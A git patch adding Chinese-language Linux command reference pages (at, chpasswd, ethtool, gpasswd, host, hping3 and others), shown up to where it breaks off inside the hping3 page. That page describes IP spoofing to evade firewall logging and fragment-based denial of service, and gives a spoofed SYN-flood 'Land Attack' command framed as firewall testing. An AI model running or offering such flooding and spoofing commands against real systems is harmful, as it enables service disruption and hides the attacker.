From c634c92de7c94879e2c920e3c2dc583ad2c808ac Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 2 Dec 2016 01:53:12 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E5=91=BD=E4=BB=A4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/ab.md | 43 ++++ command/arpd.md | 46 ++++ command/arptables.md | 35 +++ command/at.md | 84 ++++++++ command/atq.md | 36 ++++ command/atrm.md | 39 ++++ command/batch.md | 38 ++++ command/chpasswd.md | 35 +++ command/ethtool.md | 245 +++++++++++++++++++++ command/exportfs.md | 23 ++ command/gpasswd.md | 63 ++++++ command/groupadd.md | 40 ++++ command/groups.md | 37 ++++ command/grpck.md | 50 +++++ command/host.md | 57 +++++ command/hping3.md | 156 ++++++++++++++ command/init.md | 50 +++++ command/ip.md | 95 +++++++++ command/ip6tables-restore.md | 24 +++ command/ip6tables-save.md | 24 +++ command/ip6tables.md | 206 ++++++++++++++++++ command/iperf.md | 399 +++++++++++++++++++++++++++++++++++ command/iptables-restore.md | 32 +++ command/iptables-save.md | 43 ++++ command/iptables.md | 136 ++++++++++++ command/iptraf.md | 32 +++ command/iptstate.md | 31 +++ command/killall.md | 43 ++++ command/lnstat.md | 30 +++ command/mii-tool.md | 73 +++++++ command/mysqlimport.md | 32 +++ command/newusers.md | 56 +++++ command/nmap.md | 72 +++++++ command/nologin.md | 59 ++++++ command/pfctl.md | 69 ++++++ command/pkill.md | 42 ++++ command/pmap.md | 124 +++++++++++ command/pwck.md | 53 +++++ command/runlevel.md | 40 ++++ command/service.md | 59 ++++++ command/sftp-server.md | 17 ++ command/ss.md | 116 ++++++++++ command/ssh-add.md | 53 +++++ command/ssh-agent.md | 41 ++++ command/ssh-copy-id.md | 32 +++ command/ssh-keygen.md | 32 +++ command/sshd.md | 34 +++ command/tcpreplay.md | 102 +++++++++ command/telint.md | 27 +++ command/xinit.md | 23 ++ 50 files changed, 3328 insertions(+) create mode 100644 command/ab.md create mode 100644 command/arpd.md create mode 100644 command/arptables.md create mode 100644 command/at.md create mode 100644 command/atq.md create mode 100644 command/atrm.md create mode 100644 command/batch.md create mode 100644 command/chpasswd.md create mode 100644 command/ethtool.md create mode 100644 command/exportfs.md create mode 100644 command/gpasswd.md create mode 100644 command/groupadd.md create mode 100644 command/groups.md create mode 100644 command/grpck.md create mode 100644 command/host.md create mode 100644 command/hping3.md create mode 100644 command/init.md create mode 100644 command/ip.md create mode 100644 command/ip6tables-restore.md create mode 100644 command/ip6tables-save.md create mode 100644 command/ip6tables.md create mode 100644 command/iperf.md create mode 100644 command/iptables-restore.md create mode 100644 command/iptables-save.md create mode 100644 command/iptables.md create mode 100644 command/iptraf.md create mode 100644 command/iptstate.md create mode 100644 command/killall.md create mode 100644 command/lnstat.md create mode 100644 command/mii-tool.md create mode 100644 command/mysqlimport.md create mode 100644 command/newusers.md create mode 100644 command/nmap.md create mode 100644 command/nologin.md create mode 100644 command/pfctl.md create mode 100644 command/pkill.md create mode 100644 command/pmap.md create mode 100644 command/pwck.md create mode 100644 command/runlevel.md create mode 100644 command/service.md create mode 100644 command/sftp-server.md create mode 100644 command/ss.md create mode 100644 command/ssh-add.md create mode 100644 command/ssh-agent.md create mode 100644 command/ssh-copy-id.md create mode 100644 command/ssh-keygen.md create mode 100644 command/sshd.md create mode 100644 command/tcpreplay.md create mode 100644 command/telint.md create mode 100644 command/xinit.md diff --git a/command/ab.md b/command/ab.md new file mode 100644 index 0000000000..816844c2a6 --- /dev/null +++ b/command/ab.md @@ -0,0 +1,43 @@ +ab +=== + +Apache服务器的性能测试工具 + +## 补充说明 + +**ab命令** 是Apache的Web服务器的性能测试工具,它可以测试安装Web服务器每秒种处理的HTTP请求。 + +### 语法 + +``` +ab(选项)(参数) +``` + +### 选项 + +``` +-A:指定连接服务器的基本的认证凭据; +-c:指定一次向服务器发出请求数; +-C:添加cookie; +-g:将测试结果输出为“gnuolot”文件; +-h:显示帮助信息; +-H:为请求追加一个额外的头; +-i:使用“head”请求方式; +-k:激活HTTP中的“keepAlive”特性; +-n:指定测试会话使用的请求数; +-p:指定包含数据的文件; +-q:不显示进度百分比; +-T:使用POST数据时,设置内容类型头; +-v:设置详细模式等级; +-w:以HTML表格方式打印结果; +-x:以表格方式输出时,设置表格的属性; +-X:使用指定的代理服务器发送请求; +-y:以表格方式输出时,设置表格属性。 +``` + +### 参数 + +主机:被测试主机。 + + + \ No newline at end of file diff --git a/command/arpd.md b/command/arpd.md new file mode 100644 index 0000000000..35e2dc5e20 --- /dev/null +++ b/command/arpd.md @@ -0,0 +1,46 @@ +arpd +=== + +收集免费ARP信息 + +## 补充说明 + +**arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。 + +### 语法 + +``` +arpd(选项)(参数) +``` + +### 选项 + +``` +-l:将arp数据库输出到标准输出设备显示并退出; +-f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似; +-b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”; +-a:指定目标被认为死掉前查询的次数; +-k:禁止通过内核发送广播查询; +-n:设定缓冲失效时间。 +``` + +### 参数 + +网络接口:指定网络接口。 + +### 实例 + +启动arpd进程: + +``` +arpd -b /var/tmp/arpd.db +``` + +运行一段时间后,查看结果: + +``` +arpd -l -b /var/tmp/arpd.db +``` + + + \ No newline at end of file diff --git a/command/arptables.md b/command/arptables.md new file mode 100644 index 0000000000..56c137b1d8 --- /dev/null +++ b/command/arptables.md @@ -0,0 +1,35 @@ +arptables +=== + +管理ARP包过滤规则表 + +## 补充说明 + +**arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。 + +### 语法 + +``` +arptables(选项) +``` + +### 选项 + +``` +-A:向规则链中追加规则; +-D:从指定的链中删除规则; +-l:向规则链中插入一条新的规则; +-R:替换指定规则; +-P:设置规则链的默认策略; +-F:刷新指定规则链,将其中的所有规则链删除,但是不改变规则链的默认策略; +-Z:将规则链计数器清零; +-L:显示规则链中的规则列表; +-X:删除指定的空用户自定义规则链; +-h:显示指令帮助信息; +-j:指定满足规则的添加时的目标; +-s:指定要匹配ARP包的源ip地址; +-d:指定要匹配ARP包的目的IP地址。 +``` + + + \ No newline at end of file diff --git a/command/at.md b/command/at.md new file mode 100644 index 0000000000..be7f0600bd --- /dev/null +++ b/command/at.md @@ -0,0 +1,84 @@ +at +=== + +在指定时间执行一个任务 + +## 补充说明 + +**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。 + +上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。 + +### 语法 + +``` +at(选项)(参数) +``` + +### 选项 + +``` +-f:指定包含具体指令的任务文件; +-q:指定新任务的队列名称; +-l:显示待执行任务的列表; +-d:删除指定的待执行任务; +-m:任务执行完成后向用户发送E-mail。 +``` + +### 参数 + +日期时间:指定任务执行的日期时间。 + +### 实例 + +三天后的下午 5 点锺执行`/bin/ls`: + +``` +[root@localhost ~]# at 5pm+3 days +at> /bin/ls +at> +job 7 at 2013-01-08 17:00 +``` + +明天17点钟,输出时间到指定文件内: + +``` +[root@localhost ~]# at 17:20 tomorrow +at> date >/root/2013.log +at> +job 8 at 2013-01-06 17:20 +``` + +计划任务设定后,在没有执行之前我们可以用atq命令来查看系统没有执行工作任务: + +``` +[root@localhost ~]# atq +8 2013-01-06 17:20 a root +7 2013-01-08 17:00 a root +``` + +删除已经设置的任务: + +``` +[root@localhost ~]# atq +8 2013-01-06 17:20 a root +7 2013-01-08 17:00 a root + +[root@localhost ~]# atrm 7 +[root@localhost ~]# atq +8 2013-01-06 17:20 a root +``` + +显示已经设置的任务内容: + +``` +[root@localhost ~]# at -c 8 +#!/bin/sh +# atrun uid=0 gid=0 +# mail root 0 +umask 22此处省略n个字符 +date >/root/2013.log +``` + + + \ No newline at end of file diff --git a/command/atq.md b/command/atq.md new file mode 100644 index 0000000000..31f0586c6b --- /dev/null +++ b/command/atq.md @@ -0,0 +1,36 @@ +atq +=== + +列出当前用户的at任务列表 + +## 补充说明 + +**atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。 + +### 语法 + +``` +atq(选项) +``` + +### 选项 + +``` +-V:显示版本号; +-q:查询指定队列的任务。 +``` + +### 实例 + +``` +at now + 10 minutes +at> echo 1111 +at> +job 3 at Fri Apr 26 12:56:00 2013 + +atq +3 Fri Apr 26 12:56:00 2013 a root +``` + + + \ No newline at end of file diff --git a/command/atrm.md b/command/atrm.md new file mode 100644 index 0000000000..2691142deb --- /dev/null +++ b/command/atrm.md @@ -0,0 +1,39 @@ +atrm +=== + +删除待执行任务队列中的指定任务 + +## 补充说明 + +**atrm命令** 用于删除待执行任务队列中的指定任务。 + +### 语法 + +``` +atrm(选项)(参数) +``` + +### 选项 + +``` +-V:显示版本号。 +``` + +### 参数 + +任务号:指定待执行队列中要删除的任务。 + +### 实例 + +删除已经排队的任务 + +``` +atq //显示当前已经设置的任务 +2 Mon May 17 08:00:00 2010 a root +1 Sat May 15 17:00:00 2010 a root + +atrm 2 //删除任务2 +``` + + + \ No newline at end of file diff --git a/command/batch.md b/command/batch.md new file mode 100644 index 0000000000..489b073284 --- /dev/null +++ b/command/batch.md @@ -0,0 +1,38 @@ +batch +=== + +在系统不繁忙的时候执行定时任务 + +## 补充说明 + +**batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。 + +### 语法 + +``` +batch(选项)(参数) +``` + +### 选项 + +``` +-f:指定包含具体指令的任务文件; +-q:指定新任务的队列名称; +-m:任务执行完后向用户发送E-mail。 +``` + +### 参数 + +日期时间:指定任务执行的日期时间。 + +### 实例 + +``` +batch +at> echo 1234 +at> +job 5 at Sun Apr 28 08:49:00 2013 +``` + + + \ No newline at end of file diff --git a/command/chpasswd.md b/command/chpasswd.md new file mode 100644 index 0000000000..98f6b074e9 --- /dev/null +++ b/command/chpasswd.md @@ -0,0 +1,35 @@ +chpasswd +=== + +批量更新用户口令的工具 + +## 补充说明 + +**chpasswd命令** 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中。 + +### 语法 + +``` +chpasswd(选项) +``` + +### 选项 + +``` +-e:输入的密码是加密后的密文; +-h:显示帮助信息并退出; +-m:当被支持的密码未被加密时,使用MD5加密代替DES加密。 +``` + +### 实例 + +先创建用户密码对应文件,格式为`username:password`,如`abc:abc123`,必须以这种格式来书写,并且不能有空行,保存成文本文件user.txt,然后执行chpasswd命令: + +``` +chpasswd < user.txt +``` + +以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。 + + + \ No newline at end of file diff --git a/command/ethtool.md b/command/ethtool.md new file mode 100644 index 0000000000..7dd346afe6 --- /dev/null +++ b/command/ethtool.md @@ -0,0 +1,245 @@ +ethtool +=== + +显示或修改以太网卡的配置信息 + +## 补充说明 + +ethtool命令用于获取以太网卡的配置信息,或者修改这些配置。这个命令比较复杂,功能特别多。 + +### 语法 + +``` +ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX +ethtool [-A] ethX [autoneg on|off] [rx on|off] [tx on|off] +ethtool [-C] ethX [adaptive-rx on|off] [adaptive-tx on|off] [rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N] [tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N] [stats-block-usecs N][pkt-rate-low N][rx-usecs-low N] [rx-frames-low N] [tx-usecs-low N] [tx-frames-lowN] [pkt-rate-high N] [rx-usecs-high N] [rx-frames-high N] [tx-usecs-high N] [tx-frames-high N] [sample-interval N] +ethtool [-G] ethX [rx N] [rx-mini N] [rx-jumbo N] [tx N] +ethtool [-e] ethX [raw on|off] [offset N] [length N] +ethtool [-E] ethX [magic N] [offset N] [value N] +ethtool [-K] ethX [rx on|off] [tx on|off] [sg on|off] [tso on|off] +ethtool [-p] ethX [N] +ethtool [-t] ethX [offline|online] +ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port tp|aui|bnc|mii] [phyad N] [xcvr internal|external] +[wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N] +``` + +### 选项 + +``` +-a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。 +-A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。 +-c display the Coalesce information of the specified ethernet card。 +-C Change the Coalesce setting of the specified ethernet card。 +-g Display the rx/tx ring parameter information of the specified ethernet card。 +-G change the rx/tx ring setting of the specified ethernet card。 +-i 显示网卡驱动的信息,如驱动的名称、版本等。 +-d 显示register dump信息, 部分网卡驱动不支持该选项。 +-e 显示EEPROM dump信息,部分网卡驱动不支持该选项。 +-E 修改网卡EEPROM byte。 +-k 显示网卡Offload参数的状态:on 或 off,包括rx-checksumming、tx-checksumming等。 +-K 修改网卡Offload参数的状态。 +-p 用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;N指示了网卡闪的持续时间,以秒为单位。 +-r 如果auto-negotiation模块的状态为on,则restarts auto-negotiation。 +-S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等。 +-t 让网卡执行自我检测,有两种模式:offline or online。 +-s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。 +``` + +### 数据来源 + +Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为: + +最重要的结构体`struct ethtool_ops`,该结构体成员为用于显示或修改以太网卡配置的一系列函数指针,见下表中的第二列。 + +网卡驱动负责实现(部分)这些函数,并将其封装入`ethtool_ops`结构体,为网络核心层提供统一的调用接口。因此,不同的网卡驱动会给应用层返回不同的信息。`Ethtool命令选项`、`struct ethtool_ops成员函数`、`Ethtool命令显示参数的来源`,三者间的对应关系如下表所示: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
命令选项struct ethtool_ops成员函数Ethtool命令显示参数的来源(以网卡驱动BNX2为例)
无 -sget_settingsget_wol get_msglevel get_link set_settings set_wol set_msglevel从网卡寄存器中获得网卡速度等信息,可配置。
-a -Aget_pauseparam set_pauseparam从网卡寄存器中获得Autonegotiate/RX/TX模块的状态:on oroff,可配置。
-c -Cget_coalesceset_coalesce从网卡寄存器中获得coalescing参数:TX/RX一个数据包后,推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs&rx-frames同时被设为0时,RX中断停止。 当tx-usecs&tx-frames同时被设为0时,TX中断停止。
-g -Gget_ringparam set_ringparam除当前TX/RX ring的值(从网卡寄存器中读取得到,可配置)外,其它为网卡bnx2自己固定的信息。
-k -Kget_rx_csumget_tx_csum get_sg get_tso set_rx_csum set_tx_csum set_sg set_tso显示信息从保存该状态的变量中读取得到,没有对应的寄存器。因此,TX/RX校验等模块一直处于on状态,实际上是无法修改的。
-iget_drvinfo[self_test_count, get_stats_coun,t get_regs_len, get_eeprom_len]网卡bnx2自己固定的信息,如: +——————————————————– +driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 +——————————————————–
-dget_drvinfoget_regs不支持,即bnx2中没有实现函数get_regs。
-e -Eget_eepromset_eeprom不支持,即bnx2中没有实现函数get_eeprom。
-rnway_reset配置网卡MII_BMCR寄存器,重启Auto negotiation模块。
-pphys_id配置网卡BNX2_EMAC_LED寄存器,实现LED闪功能。
-tself_test通过配置网卡寄存器,逐一测试网卡的硬件模块:registers,memory,loopback,Link stat,interrupt。
-Sget_ethtool_stats显示信息来源于网卡驱动中的结构体变量stats_blk。(网卡通过DMA方式,将寄存器BNX2_HC_STATISTICS _ADDR_L和BNX2_HC_STATISTICS_ADDR_H中的数据实时地读取到结构体变量struct statistics_block *stats_blk中。) —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。
+ +由上可见,ethtool命令用于显示/配置网卡硬件(寄存器)。   + +### 实例 + +查看机器上网卡的速度:百兆还是千兆,请输入: + +``` +ethool eth0 +``` + +操作完毕后,输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX,请输入: + +``` +ethtool -A tx off eth0 +``` + +操作完毕后,可输入`ethtool -a eth0`,查看tx模块是否已被停止。查看网卡eth0采用了何种驱动,请输入: + +``` +ethtool -i eth0 +``` + +操作完毕后,显示 driver: bnx2;version: 1.4.30 等信息。关闭网卡对收到的数据包的校验功能,请输入: + +``` +ethtool -K eth0 rx off +``` + +操作完毕后,可输入`ethtool –k eth0`,查看校验功能是否已被停止。如果机器上安装了两块网卡,那么eth0对应着哪块网卡呢?输入: + +``` +ethtool -p eth0 10 +``` + +操作完毕后,看哪块网卡的led灯在闪,eth0就对应着哪块网卡。查看网卡,在接收/发送数据时,有没有出错?请输入: + +``` +ethtool –S eth0 +``` + +将千兆网卡的速度降为百兆,请输入: + +``` +ethtool -s eth0 speed 100    + +``` + + + \ No newline at end of file diff --git a/command/exportfs.md b/command/exportfs.md new file mode 100644 index 0000000000..fe3c88fb8f --- /dev/null +++ b/command/exportfs.md @@ -0,0 +1,23 @@ +exportfs +=== + +管理NFS共享文件系统列表 + +## 补充说明 + +exportfs 命令用来管理当前NFS共享的文件系统列表。 + +参数: + +``` +-a 打开或取消所有目录共享。 +-o options,...指定一列共享选项,与 exports(5) 中讲到的类似。 +-i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。 +-r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。 +-u 取消一个或多个目录的共享。 +-f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。 +-v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。 +``` + + + \ No newline at end of file diff --git a/command/gpasswd.md b/command/gpasswd.md new file mode 100644 index 0000000000..fa30f324a7 --- /dev/null +++ b/command/gpasswd.md @@ -0,0 +1,63 @@ +gpasswd +=== + +Linux下工作组文件的管理工具 + +## 补充说明 + +**gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。 + +### 语法 + +``` +gpasswd(选项)(参数) +``` + +### 选项 + +``` +-a:添加用户到组; +-d:从组删除用户; +-A:指定管理员; +-M:指定组成员和-A的用途差不多; +-r:删除密码; +-R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。 +``` + +### 参数 + +组:指定要管理的工作组。 + +### 实例 + +如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。 + +``` +gpasswd groupname +``` + +让使用者暂时加入成为该组成员,之后peter建立的文件group也会是groupname。所以该方式可以暂时让peter建立文件时使用其他的组,而不是peter本身所在的组。 + +所以使用`gpasswd groupname`设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。 + +``` +gpasswd -A peter users +``` + +这样peter就是users群组的管理员,就可以执行下面的操作: + +``` +gpasswd -a mary users +gpasswd -a allen users +``` + +注意:添加用户到某一个组 可以使用`usermod -G group_name user_name`这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。 + +所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户: + +``` +gpasswd -a user_name group_name +``` + + + \ No newline at end of file diff --git a/command/groupadd.md b/command/groupadd.md new file mode 100644 index 0000000000..0641b7e727 --- /dev/null +++ b/command/groupadd.md @@ -0,0 +1,40 @@ +groupadd +=== + +用于创建一个新的工作组 + +## 补充说明 + +**groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。 + +### 语法 + +``` +groupadd(选项)(参数) +``` + +### 选项 + +``` +-g:指定新建工作组的id; +-r:创建系统工作组,系统工作组的组ID小于500; +-K:覆盖配置文件“/ect/login.defs”; +-o:允许添加组ID号不唯一的工作组。 +``` + +### 参数 + +组名:指定新建工作组的组名。 + +### 实例 + +建立一个新组,并设置组ID加入系统: + +``` +groupadd -g 344 jsdigname +``` + +此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目。 + + + \ No newline at end of file diff --git a/command/groups.md b/command/groups.md new file mode 100644 index 0000000000..fdb65fd881 --- /dev/null +++ b/command/groups.md @@ -0,0 +1,37 @@ +groups +=== + +用来打印指定用户所属的工作组 + +## 补充说明 + +**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。 + +### 语法 + +``` +groups(选项)(参数) +``` + +### 选项 + +``` +-help:显示命令的帮助信息; +--version:显示命令的版本信息。 +``` + +### 参数 + +用户名:指定要打印所属工作组的用户名。 + +### 实例 + +显示linux用户所属的组 + +``` +groups linux +linux : linux adm dialout cdrom plugdev lpadmin admin sambashare +``` + + + \ No newline at end of file diff --git a/command/grpck.md b/command/grpck.md new file mode 100644 index 0000000000..2d0a6fea1b --- /dev/null +++ b/command/grpck.md @@ -0,0 +1,50 @@ +grpck +=== + +用于验证组文件的完整性 + +## 补充说明 + +**grpck命令** 用于验证组文件的完整性,在验证之前,需要先锁定(lock)组文件`/etc/group`和`/etc/shadow`。 + +grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。 + +### 语法 + +``` +grpck(选项) +``` + +### 选项 + +``` +-r:只读模式; +-s:排序组id。 +``` + +### 实例 + +对组账号和影子文件进行验证: + +``` +grpck //必须以管理员身份运行 +grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息,则表示没有错误。 +``` + +测试错误的实例: + +``` +**echo check_user:x: >> /etc/group //添加一行错误的格式数据 +cat /etc/group | grep check_user** +check_user:x: //这儿GID字段为空,是错误的。 + + **grpck /etc/group** +invalid group file entry +delete line 'check_user:x:'? y //提示是否删除 +grpck: the files have been updated //这时已经删除了错误的行,提示文件已经更新。 + + **cat /etc/group | grep check_user //没有查到,已经删除了。** +``` + + + \ No newline at end of file diff --git a/command/host.md b/command/host.md new file mode 100644 index 0000000000..bdc879992b --- /dev/null +++ b/command/host.md @@ -0,0 +1,57 @@ +host +=== + +常用的分析域名查询工具 + +## 补充说明 + +**host命令** 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。 + +### 语法 + +``` +host(选项)(参数) +``` + +### 选项 + +``` +-a:显示详细的DNS信息; +-c<类型>:指定查询类型,默认值为“IN“; +-C:查询指定主机的完整的SOA记录; +-r:在查询域名时,不使用递归的查询方式; +-t<类型>:指定查询的域名信息类型; +-v:显示指令执行的详细信息; +-w:如果域名服务器没有给出应答信息,则总是等待,直到域名服务器给出应答; +-W<时间>:指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息,则退出指令; +-4:使用IPv4; +-6:使用IPv6. +``` + +### 参数 + +主机:指定要查询信息的主机信息。 + +### 实例 + +``` +[root@localhost ~]# host www.jsdig.com +www.jsdig.com is an alias for host.1.jsdig.com. +host.1.jsdig.com has address 100.42.212.8 + +[root@localhost ~]# host -a www.jsdig.com +Trying "www.jsdig.com" +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34671 +;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 + +;; QUESTION SECTION: +;www.jsdig.com. IN ANY + +;; ANSWER SECTION: +www.jsdig.com. 463 IN CNAME host.1.jsdig.com. + +Received 54 bytes from 202.96.104.15#53 in 0 ms +``` + + + \ No newline at end of file diff --git a/command/hping3.md b/command/hping3.md new file mode 100644 index 0000000000..69883b9bff --- /dev/null +++ b/command/hping3.md @@ -0,0 +1,156 @@ +hping3 +=== + +测试网络及主机的安全 + +## 补充说明 + +**hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。 + +### 安装 + +``` +yum install libpcap-devel tc-devel +ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h +wget http://www.hping.org/hping3-20051105.tar.gz +tar zxvf hping3-20051105.tar.gz +cd hping3-20051105 +./configure +make +make install +``` + +### 选项 + +``` +-H --help 显示帮助。 +-v -VERSION 版本信息。 +-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。 +-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。 +-n -nmeric 数字输出,象征性输出主机地址。 +-q -quiet 退出。 +-I --interface interface name 无非就是eth0之类的参数。 +-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 +-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......) +-z --bind 快捷键的使用。 +-Z --unbind 消除快捷键。 +-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。 +-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。 +-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。 +-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。 +-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。 +-t --ttl time to live 可以指定发出包的TTL值。 +-H --ipproto 在RAW IP模式里选择IP协议。 +-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。 +-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。 +-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。 +-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。 +-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。 +-G --fragoff fragment offset value set the fragment offset +-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。 +-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。 +-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。 +-K --ICMPCODE CODE 指定ICMP代号,缺省0。 +--icmp-ipver 把IP版本也插入IP头。 +--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。 +--icmp-iplen 设置IP包长度。 +--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。 +--icmp-ipproto 设置协议的,缺省是TCP。 +-icmp-cksum 设置校验和。 +-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests) +--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests) +-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。 +-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。 +--keep 上面说过了。 +-w --win 发的大小和windows一样大,64BYTE。 +-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4. +-m --tcpseq 设置TCP序列数。 +-l --tcpck 设置TCP ack。 +-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。 +``` + +### Hping3功能 + +Hping3主要有以下典型功能应用: + +####  防火墙测试 + +使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html + +测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。 + +``` +hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 +``` + +#### 端口扫描 + +Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放: + +``` +hping3 -I eth0 -S 192.168.10.1 -p 80 +``` + +其中`-I 